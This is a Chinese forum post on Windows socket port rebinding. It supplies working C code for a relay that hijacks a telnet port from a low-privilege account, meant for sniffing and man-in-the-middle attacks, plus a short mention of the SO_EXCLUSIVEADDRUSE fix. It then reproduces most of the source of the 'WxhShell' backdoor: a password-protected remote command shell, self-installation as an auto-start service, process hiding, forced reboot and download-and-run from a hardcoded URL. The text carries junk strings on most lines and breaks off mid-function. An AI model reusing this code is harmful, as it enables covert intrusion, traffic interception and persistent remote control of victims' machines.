社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11442阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5-QvQ&eH.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :+Je989\[C  
.D2ub/er  
  saddr.sin_family = AF_INET; Z5^,!6  
!PP?2Ax  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Nm :|C 3_I  
$gD(MKR)~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;Wrd=)Ka  
s)&R W#:X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =ILo`Q~  
xzf)_ <  
  这意味着什么?意味着可以进行如下的攻击: &MGgO\|6  
v'Py[[R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^MWW,`  
UNH}*]u4`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y8CYkJTAD-  
O6/=/-?N=c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +P6  
VTX'f2\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,vY I O  
BxN#Nk~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  S~5 =1b  
?Kz` O>"6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ah@GSu;7  
U>M>FZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z(`K6`KM  
Z_ *ZUN?B  
  #include w7ABnX  
  #include K/LaA4  
  #include =VI`CBQ/Um  
  #include    h^,YYoA$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oIR%{`3"I  
  int main() 58gt*yVu  
  { PL B=%[  
  WORD wVersionRequested; ++RmaZ  
  DWORD ret; _@ 3O`  
  WSADATA wsaData; 5<ya;iK  
  BOOL val; 9mtC"M<   
  SOCKADDR_IN saddr; b:d.Lf{y7  
  SOCKADDR_IN scaddr; { dx yBDK  
  int err; xx2:5  
  SOCKET s; 9Qm{\  
  SOCKET sc; `fE:5y  
  int caddsize; HQ#L |LN  
  HANDLE mt; / z>8XM&  
  DWORD tid;   tp3N5I  
  wVersionRequested = MAKEWORD( 2, 2 ); |`9zE]  
  err = WSAStartup( wVersionRequested, &wsaData ); Tf]VcEF  
  if ( err != 0 ) { I)4|?tb ?  
  printf("error!WSAStartup failed!\n"); Dg4^ C  
  return -1; bX1! fa  
  } RPqn#B  
  saddr.sin_family = AF_INET; ZFw743G  
   @[ N~;>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -Y,Ibq  
4'eVFu+62  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  [ ^ \)  
  saddr.sin_port = htons(23); nQ*oOxe|X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Iz=E8R g  
  { "+"dALX{3K  
  printf("error!socket failed!\n"); H_$f v_  
  return -1; ;@\J scNJ|  
  } x~,?Zj)n?C  
  val = TRUE; *m Tc4&*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R}mWHB_h"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .TU15AAc  
  { @?NLME  
  printf("error!setsockopt failed!\n"); NNV.x7  
  return -1; #z5?Y2t7~^  
  } $f-pLF+x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e/~<\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wA+4:CF @  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VFp)`+8  
 ^*>no=A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [9Hm][|Ph  
  { 3JO:n6  
  ret=GetLastError(); B ~bU7.Cd  
  printf("error!bind failed!\n"); ?4dd|n  
  return -1; &%51jM<  
  } ^Q:`2C5  
  listen(s,2); G`K7P`m  
  while(1) os+wTUR^  
  { dKG<"  
  caddsize = sizeof(scaddr); j>=".^J  
  //接受连接请求 b8Ad*f\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `l@t3/  
  if(sc!=INVALID_SOCKET) h.%Qn vL  
  { : .eS|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *J- jr8&  
  if(mt==NULL) N^j''siB  
  { PU\q.y0R  
  printf("Thread Creat Failed!\n"); rMx_ <tXX  
  break; TV2:5@33  
  } a.ME{:a%  
  } nsn,8a38  
  CloseHandle(mt); g)Uh   
  } V#FLxITk  
  closesocket(s);  +PD5pr  
  WSACleanup(); SaScP  
  return 0; rV{e[fGd  
  }   T3 /LUm  
  DWORD WINAPI ClientThread(LPVOID lpParam) G4]``  
  { Hh/#pGf2  
  SOCKET ss = (SOCKET)lpParam; -Euy5Y  
  SOCKET sc; RozsRt;i  
  unsigned char buf[4096]; 2^j9m}`  
  SOCKADDR_IN saddr; $ :P~21,  
  long num; cA^7}}?e  
  DWORD val; QpZhxp  
  DWORD ret; 0 N^V&k   
  //如果是隐藏端口应用的话,可以在此处加一些判断 D{}\7qe  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eS+LFS7*k  
  saddr.sin_family = AF_INET; .5zJ bZ9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;]e"bX  
  saddr.sin_port = htons(23); V)@scB|>,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -M9 4 F  
  { ?q6eV~P  
  printf("error!socket failed!\n"); %iML??S  
  return -1; ~nlY8B(  
  } g9Ll>d)tE3  
  val = 100; L32ki}2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OuH]Y70(  
  { [! o -F;  
  ret = GetLastError(); kE|#mI[>  
  return -1; 'f!Jh<i  
  } ;bbEd'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ,1kV9_x  
  { Ku# _   
  ret = GetLastError(); ;W"[,#2TM  
  return -1; 1A *8Jnw  
  } =ye}IpC*M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k#M W>  
  { UJ&,9}L8  
  printf("error!socket connect failed!\n"); [O'p&j@  
  closesocket(sc); ]YKWa"  
  closesocket(ss); O2B$c\pw  
  return -1; r3)t5P*_  
  } [J#(k`@  
  while(1) p*,mwKN:  
  { W>49,A,q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XsCbA8Qv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :zoX Xo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n40Z  
  num = recv(ss,buf,4096,0); Plv+mb  
  if(num>0) w9BH>56/"  
  send(sc,buf,num,0); 2y,wN"qH*  
  else if(num==0) ^6n]@4P  
  break; cPYQ<Y=  
  num = recv(sc,buf,4096,0); lUz@Em  
  if(num>0) &!Vp'l\9  
  send(ss,buf,num,0); _JXE/  
  else if(num==0) /J:j'6  
  break; +cN2 KP  
  } |^&e\8>.  
  closesocket(ss); >a K&T"  
  closesocket(sc);  Q.yoxq  
  return 0 ; BcWReyO<M  
  } >oNs_{  
];YOP%2   
03y<'n  
========================================================== V _,*  
SfR_#"Uu  
下边附上一个代码,,WXhSHELL b"V-!.02  
m9S5;kB]  
========================================================== ??;[`_h{bz  
}Q_i#e(S  
#include "stdafx.h" R(fR1  
I1jF`xQ&0  
#include <stdio.h> Q[^d{e*l  
#include <string.h> |d8o<Q  
#include <windows.h> vC1 `m  
#include <winsock2.h> d+;~x*  
#include <winsvc.h> `x3c},'@k  
#include <urlmon.h> &~EOM  
|V5H(2/nk  
#pragma comment (lib, "Ws2_32.lib") aDESO5  
#pragma comment (lib, "urlmon.lib") ho. a93  
4{=Em5`HbO  
#define MAX_USER   100 // 最大客户端连接数 {s]eXc]K}  
#define BUF_SOCK   200 // sock buffer gB#t"s)  
#define KEY_BUFF   255 // 输入 buffer <T>f@Dn,  
WqO* vK!t  
#define REBOOT     0   // 重启 c`cPGEv  
#define SHUTDOWN   1   // 关机 Yy]He nw;  
$hapSrS  
#define DEF_PORT   5000 // 监听端口 (H7q[UG|  
$I%]jAh6  
#define REG_LEN     16   // 注册表键长度 .*{LPfD|  
#define SVC_LEN     80   // NT服务名长度 H{If\B%1t  
3ly|y{M",  
// 从dll定义API 191)JWfa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .'M]cN~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a>6p])Wh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !xSGZ D=AD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n&^Rs )%v  
FqySnrJQ  
// wxhshell配置信息 OB:G5B`  
struct WSCFG { W=drp>Uj  
  int ws_port;         // 监听端口 {fWZ n  
  char ws_passstr[REG_LEN]; // 口令 ,h"M{W$  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q6E80>  
  char ws_regname[REG_LEN]; // 注册表键名 W-MQMHQ  
  char ws_svcname[REG_LEN]; // 服务名 !Iqyt. .  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LdL< 5Q[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :HC{6W`$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q :gH`5N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >*&[bW'}?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '"6VfF)*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^B<jMt  
c8'?Dd  
}; q-H ]Hxv  
G|V ^C_:  
// default Wxhshell configuration gyIPG2d  
struct WSCFG wscfg={DEF_PORT, b.F2m(e2  
    "xuhuanlingzhe", aE+E'iL  
    1, f-PDgs   
    "Wxhshell", pLRHwL.  
    "Wxhshell", }0I! n@  
            "WxhShell Service", 5we1q7  
    "Wrsky Windows CmdShell Service", &Ef'5  
    "Please Input Your Password: ", \|kU{d0  
  1, ry:tL0;;e#  
  "http://www.wrsky.com/wxhshell.exe", ke0Vy(3t{h  
  "Wxhshell.exe" zK}.Bhj#  
    }; JP#m} W  
-<.>jX  
// 消息定义模块 IaW8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?AR6+`0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4&tY5m>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; % tpjy,  
char *msg_ws_ext="\n\rExit.";  (1ebE  
char *msg_ws_end="\n\rQuit."; =6>mlI>i  
char *msg_ws_boot="\n\rReboot..."; )s M}BY  
char *msg_ws_poff="\n\rShutdown..."; xf|=n  
char *msg_ws_down="\n\rSave to "; f_}55?i0  
K/altyj`  
char *msg_ws_err="\n\rErr!"; 0@2%pIq\  
char *msg_ws_ok="\n\rOK!"; s`TfNwDvU  
]C_6I\Z#=W  
char ExeFile[MAX_PATH]; k5^'b#v  
int nUser = 0; mR@iGl\\  
HANDLE handles[MAX_USER]; Z# 1Qj9  
int OsIsNt; 6;ICX2Wq'  
D+RG,8Ht  
SERVICE_STATUS       serviceStatus; W /IyF){  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e_Y>[/Om  
Gz`Zp "i%0  
// 函数声明 &_ber ad  
int Install(void); xi^_C!*J  
int Uninstall(void); f"/NY6  
int DownloadFile(char *sURL, SOCKET wsh); w$1.h'2  
int Boot(int flag); p0b&CrALx  
void HideProc(void); $uboOfS83G  
int GetOsVer(void); tP`,Egf"g  
int Wxhshell(SOCKET wsl); P )`-cfg  
void TalkWithClient(void *cs); h)sc-e  
int CmdShell(SOCKET sock); G'!Hc6OZ  
int StartFromService(void); V XC_Y  
int StartWxhshell(LPSTR lpCmdLine); *<J**FhcMu  
?k/Uw'J4u/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?(F~9 V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ltc>@  
RP6QS)|  
// 数据结构和表定义 bBGLf)fsTG  
SERVICE_TABLE_ENTRY DispatchTable[] = t1xX B^.M{  
{ Fm:Ri$iT  
{wscfg.ws_svcname, NTServiceMain}, g8^$,  
{NULL, NULL} qz?9:"~$C  
}; {2-w<t  
$H?v  
// 自我安装 8I JFQDGA9  
int Install(void) N'IzHyo.  
{ S-My6'ar  
  char svExeFile[MAX_PATH]; u)%J5TR.Y  
  HKEY key; By%aTuV$  
  strcpy(svExeFile,ExeFile); M>-x\[n+  
yhZ2-*pTg  
// 如果是win9x系统,修改注册表设为自启动 I6\ l 6o  
if(!OsIsNt) { 6*CvRb&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s3oK[:/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (T,ST3{*k  
  RegCloseKey(key); znD0&CS9q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lBl`R|Gt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .7{,u1N'  
  RegCloseKey(key); k: D<Q  
  return 0; l{6fR(d ?  
    } =ayl~"bW  
  } fAXF_wj  
} g+U6E6}1  
else { UkeX">  
.a?GC(  
// 如果是NT以上系统,安装为系统服务 %vgn>A?]1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iWO16=  
if (schSCManager!=0) Iq(BH^K  
{ 5@+4>[tw  
  SC_HANDLE schService = CreateService .- uH ax0  
  ( pFhznH{0  
  schSCManager, whr[rWt@>  
  wscfg.ws_svcname, _A1r6  
  wscfg.ws_svcdisp, 1#6c sZW5  
  SERVICE_ALL_ACCESS, ]v$VZ '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eWE7>kwh  
  SERVICE_AUTO_START, 624l5}@:  
  SERVICE_ERROR_NORMAL, 'jqkDPn  
  svExeFile, 6ID@0  
  NULL, l.El3+  
  NULL, (6!W8x7  
  NULL, /GqW1tcO  
  NULL, +uLl3(ml  
  NULL p{NVJ^! +  
  ); sBt,y _LW  
  if (schService!=0) -6@#Nq_iWU  
  { Xnpw'<~X  
  CloseServiceHandle(schService); d=yuuS /  
  CloseServiceHandle(schSCManager); 22(7rUkI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s +"?j  
  strcat(svExeFile,wscfg.ws_svcname); OjFB_ N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ch!/k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "]B:QeMeF!  
  RegCloseKey(key); f }P6P>0T  
  return 0; Onz@A"  
    } 67?O}~jbG  
  } 8k vG<&D  
  CloseServiceHandle(schSCManager); ) 7w%\i{M  
} !o1+#DL)MU  
} rUmaKh?v|X  
n Hz Xp:"  
return 1; imC>T!-7  
} !W^P|:Qt  
~x4]^XS  
// 自我卸载 ,=jwQG4wq  
int Uninstall(void) bdbTK8-  
{ i_Ol vuy~  
  HKEY key; ~U}0=lRVS  
a'r8J~:jy  
if(!OsIsNt) { |ZC@l^a7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { epXvk &  
  RegDeleteValue(key,wscfg.ws_regname); 5L!EqB>m;  
  RegCloseKey(key); $MhfGMk!'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O4t0 VL$  
  RegDeleteValue(key,wscfg.ws_regname); 7wKT:~~oS3  
  RegCloseKey(key); lsq\CavbM  
  return 0; L.X"wIs^  
  } wN Mf-~  
} Qa>t$`o`  
} 4sMA'fG  
else { [&eG>zF"  
/fgy07T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rU/8R'S  
if (schSCManager!=0) (J} tCqP  
{ E?v:7p<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /3#)  
  if (schService!=0) K-<<s  
  { #:[^T,YD0  
  if(DeleteService(schService)!=0) { `8M{13fv  
  CloseServiceHandle(schService); t.X8c/,;g  
  CloseServiceHandle(schSCManager); a!guZUg6  
  return 0; jJbS{1z  
  } &Zy%Zz  
  CloseServiceHandle(schService); rJtpTV@.  
  } [SJ3FZ<  
  CloseServiceHandle(schSCManager); #7v=#Jco  
} Qv1<)&Ft<  
} pm` f? Py  
oDW)2*8yF  
return 1; r|av|7R  
} Dqu?mg;L  
;T hn C>U  
// 从指定url下载文件 B5v5D[ o5  
int DownloadFile(char *sURL, SOCKET wsh) @5}(Y( @  
{ rUn1*KWbE  
  HRESULT hr; ;x,yGb`  
char seps[]= "/"; ^J~5k,7jX  
char *token; L+ K,Y:D!W  
char *file; Tji*\<?  
char myURL[MAX_PATH]; NWue;u^  
char myFILE[MAX_PATH]; ze"`5z26|  
03Uj0.Z|7  
strcpy(myURL,sURL); _kEU=)Xe  
  token=strtok(myURL,seps); me@k~!e"z  
  while(token!=NULL) ?'I-_9u  
  { BK]5g[   
    file=token; FQ_a= v  
  token=strtok(NULL,seps); <P@ "VwUX  
  } Kt3T~k  
#u"$\[G  
GetCurrentDirectory(MAX_PATH,myFILE); jI/#NCKE  
strcat(myFILE, "\\"); k|4}Do%;  
strcat(myFILE, file); }y>/#]X  
  send(wsh,myFILE,strlen(myFILE),0); yU|=)p5  
send(wsh,"...",3,0); fL(_V/p^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q3<ctd\]Y  
  if(hr==S_OK) l3N '@GO  
return 0; 'r'+$D7  
else UX24*0`\~  
return 1; d~qZ;uw  
\)M EM=U  
} 6DVHJ+WTV  
?G>E[!8ev  
// 系统电源模块 blx"WVqo  
int Boot(int flag) B,b^_4XX$  
{ c8h71Cr  
  HANDLE hToken; BN1,R] *;  
  TOKEN_PRIVILEGES tkp; +?'a2pUS  
o%E-K=a  
  if(OsIsNt) { E>c*A40=.n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pnpf/T{xpM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R+# g_"1@p  
    tkp.PrivilegeCount = 1; +!/pzoWpE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wd*V,ZN7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JD)wxoeg  
if(flag==REBOOT) { @Zzg^1Ilpu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "Wg5eML 0  
  return 0; -&h<t/U  
} 7Vo[zo  
else {  Il]p >B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4Q(w D  
  return 0; \*mKctpz]6  
} jO.c>C[?  
  } /_Fi4wZ  
  else { Hy1pIUsx  
if(flag==REBOOT) { ~,m5dP#[bV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Um!LF"Z  
  return 0; D\Fu4Eg  
} t vp kc;  
else { 8vx#QU8E/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W~& QcSWqD  
  return 0; R-6km Tex>  
} QE6L_\l  
} J9&#);(  
J\?d+}hynX  
return 1; vhrURY.  
} =>*9"k%m  
LG vPy  
// win9x进程隐藏模块 *5mJA -[B+  
void HideProc(void) T5eJIc3a"  
{ ^S:I38gR#q  
QSx4M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %GigRA@no  
  if ( hKernel != NULL ) v*&WqVg  
  { 2OwO|n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ow9Vj$m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OouR4  
    FreeLibrary(hKernel); YR"IPyj  
  } vMYEP_lhK,  
6$G@>QCBS  
return; u vyvy  
} ejpSbVJ  
Bgs,6:  
// 获取操作系统版本 ~}Z'/ zCZf  
int GetOsVer(void) r12e26_Ab  
{ snVeOe#'S  
  OSVERSIONINFO winfo; oz'^.+uvE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -+n? Q;  
  GetVersionEx(&winfo); 7#sb },J{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uc0Sb  
  return 1; &ER,;^H `6  
  else o(YF`;OhvS  
  return 0; l8 XY  
} CTZ#QiNP  
:@,UPc-+  
// 客户端句柄模块 ui&^ m,  
int Wxhshell(SOCKET wsl) )QB9zl:  
{ ogJ>`0 +J  
  SOCKET wsh; 72sBx3 ;  
  struct sockaddr_in client; |#5_VEG  
  DWORD myID; J';XAB }  
cJ#%OU3 p  
  while(nUser<MAX_USER) R 5Cy%  
{ 71G00@&w9D  
  int nSize=sizeof(client); +~?K@n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0E`6g6xMS  
  if(wsh==INVALID_SOCKET) return 1; GD<pqm`vVY  
e ls&_BPE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yHxi^D]  
if(handles[nUser]==0) @l?2",  
  closesocket(wsh); 3&Fqd  
else :i]g+</  
  nUser++; Cgn@@P5ZC  
  } |dqvv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1A{iUddR  
u`wT_?%w  
  return 0; C44*qiG.  
} z1LY|8$G  
7J$Yd976  
// 关闭 socket <Q?_],ip  
void CloseIt(SOCKET wsh) .GuZV'  
{ g&L $5  
closesocket(wsh); =ve, !  
nUser--; C<hb{$@  
ExitThread(0); \2AXW@xE  
} MJ~)CiKgN  
`bEum3l\6]  
// 客户端请求句柄 7.(vog"I)  
void TalkWithClient(void *cs) MKr:a]-'f~  
{ o88Dz}a  
f/e2td*A  
  SOCKET wsh=(SOCKET)cs; \?NT,t=3J  
  char pwd[SVC_LEN]; ;aUI3n%  
  char cmd[KEY_BUFF]; mG+hLRTXP  
char chr[1]; J9`[Qy\  
int i,j; "6P-0CJ  
fSzX /r  
  while (nUser < MAX_USER) { U4,hEnJBT  
!d=Q@oy5  
if(wscfg.ws_passstr) { qYR+qSAJP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gb@ |\n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); My\  
  //ZeroMemory(pwd,KEY_BUFF); V39)[FH}  
      i=0; ^1NtvQe@Y\  
  while(i<SVC_LEN) { o!M*cyq  
AZadNuL/  
  // 设置超时 T#w *5Qf  
  fd_set FdRead; ^Sz?c_<2P  
  struct timeval TimeOut; sTG e=}T8  
  FD_ZERO(&FdRead); G/C5o=cY  
  FD_SET(wsh,&FdRead); $; t#pN/`  
  TimeOut.tv_sec=8; Ss{  
  TimeOut.tv_usec=0; {T[/B"QZG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;t}ux  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7<%Rx19L*  
 LYX\#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5s2334G  
  pwd=chr[0]; \|9KOulr  
  if(chr[0]==0xd || chr[0]==0xa) { Zx}.mt#}8  
  pwd=0; "227 U)Q  
  break; ?#X`Eu  
  } @OPyT  
  i++; WS)u{ or  
    } O@bDMg  
CmPix]YMQ  
  // 如果是非法用户,关闭 socket ICgyCsZ,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $\@yH^hL  
} 5PlTf?Ao  
A4W61f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v]HiG_C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GQ8r5V4:  
`g iCytv  
while(1) { 4c=oAL  
y3!=0uPf  
  ZeroMemory(cmd,KEY_BUFF); DqHVc)9  
^y"$k  
      // 自动支持客户端 telnet标准   =7`0hS<@F  
  j=0; (FAd'$lhX}  
  while(j<KEY_BUFF) { tEl4 !v A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p }bTI5  
  cmd[j]=chr[0]; fE/8;v!=  
  if(chr[0]==0xa || chr[0]==0xd) { -j_J 1P0,  
  cmd[j]=0; :B'}#;8_  
  break; :{tvAdMl7  
  } #YSUPO%F  
  j++; s:/.:e_PU  
    } :22IY> p  
2;`"B|-T  
  // 下载文件 ]-aeoa#  
  if(strstr(cmd,"http://")) { oa?eK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :[N[D#/z  
  if(DownloadFile(cmd,wsh)) [y T4n.f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bMD'teJ  
  else ^9UF Pij"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >9g`9hB  
  } pTK|u!fs  
  else { K/u`W z~A  
SS;QPWRZ  
    switch(cmd[0]) { FBcF  
  Zh.fv-Ecp  
  // 帮助 n]@+<TA<uA  
  case '?': { <nj[=C4v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v=|BqG`  
    break; OI.2CF  
  } soZw""|v  
  // 安装 Xze   
  case 'i': { s%z'1KPS  
    if(Install()) _rqOzE)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )8yee~+TN  
    else OR^Wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -j[n^y'v  
    break; @:xO5L}Io  
    } q9oF8&O,  
  // 卸载 43-%")bH  
  case 'r': { LZG^\c$  
    if(Uninstall()) IR%a+;Xs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZjEO$ ts=@  
    else h ;5 -X7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (`18W1f5W  
    break; lrh6lt)  
    } ?/)5U}*M0T  
  // 显示 wxhshell 所在路径 ok\+$+ $ju  
  case 'p': { "\BP+AF  
    char svExeFile[MAX_PATH]; P+3G*M=}  
    strcpy(svExeFile,"\n\r"); '{cN~A2b4  
      strcat(svExeFile,ExeFile); dtM@iDljj  
        send(wsh,svExeFile,strlen(svExeFile),0); #G.3a]p}"  
    break; 2a=WT`xf ?  
    } 7 Nwi\#o  
  // 重启 ''BP4=r5 n  
  case 'b': { >W'SG3Hmc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2c%}p0<;|?  
    if(Boot(REBOOT)) ,0&lag  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XU9=@y+|v  
    else { ^ MJGY,r6b  
    closesocket(wsh); Op)0D:BmR  
